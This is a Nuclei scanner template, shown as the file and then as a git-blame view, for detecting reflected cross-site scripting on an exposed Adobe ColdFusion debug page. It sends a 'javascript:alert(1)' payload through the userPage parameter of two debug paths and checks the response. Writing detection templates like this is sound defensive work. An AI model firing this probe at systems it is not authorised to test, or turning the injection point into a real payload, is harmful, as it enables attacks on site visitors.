nuclei-templates/vulnerabilities/other/coldfusion-debug-xss.yaml

id: coldfusion-debug-xss

info:
  name: Adobe ColdFusion Debug Page XSS
  author: dhiyaneshDK
  severity: medium
  description: The remote Adobe ColdFusion debug page has been left open to unauthenticated users, this could allow remote attackers to trigger a reflected cross site scripting against the visitors of the site.
  reference:
    - https://github.com/jaeles-project/jaeles-signatures/blob/master/common/coldfusion-debug-xss.yaml
  tags: adobe,coldfusion,xss

requests:
  - method: GET
    path:
      - '{{BaseURL}}/CFIDE/debug/cf_debugFr.cfm?userPage=javascript:alert(1)'
      - '{{BaseURL}}/cfusion/debug/cf_debugFr.cfm?userPage=javascript:alert(1)'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"cf_main_cf" src="javascript:alert(1)"'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
Create coldfusion-debug-xss.yaml 2021-07-01 17:01:01 +00:00			`id: coldfusion-debug-xss`

			`info:`
			`name: Adobe ColdFusion Debug Page XSS`
			`author: dhiyaneshDK`
			`severity: medium`
Description 2021-08-02 11:30:22 +00:00			`description: The remote Adobe ColdFusion debug page has been left open to unauthenticated users, this could allow remote attackers to trigger a reflected cross site scripting against the visitors of the site.`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`reference:`
			`- https://github.com/jaeles-project/jaeles-signatures/blob/master/common/coldfusion-debug-xss.yaml`
Update coldfusion-debug-xss.yaml The term adobe is more general than coldfusion. Since Coldfusion is a product of Adobe. 2021-07-22 23:44:57 +00:00			`tags: adobe,coldfusion,xss`
Create coldfusion-debug-xss.yaml 2021-07-01 17:01:01 +00:00
			`requests:`
			`- method: GET`
			`path:`
			`- '{{BaseURL}}/CFIDE/debug/cf_debugFr.cfm?userPage=javascript:alert(1)'`
			`- '{{BaseURL}}/cfusion/debug/cf_debugFr.cfm?userPage=javascript:alert(1)'`
minor updates 2021-07-03 19:52:08 +00:00
Create coldfusion-debug-xss.yaml 2021-07-01 17:01:01 +00:00			`matchers-condition: and`
			`matchers:`
			`- type: word`
			`part: body`
			`words:`
			`- '"cf_main_cf" src="javascript:alert(1)"'`
minor updates 2021-07-03 19:52:08 +00:00
Create coldfusion-debug-xss.yaml 2021-07-01 17:01:01 +00:00			`- type: word`
			`part: header`
			`words:`
			`- "text/html"`

			`- type: status`
			`status:`
			`- 200`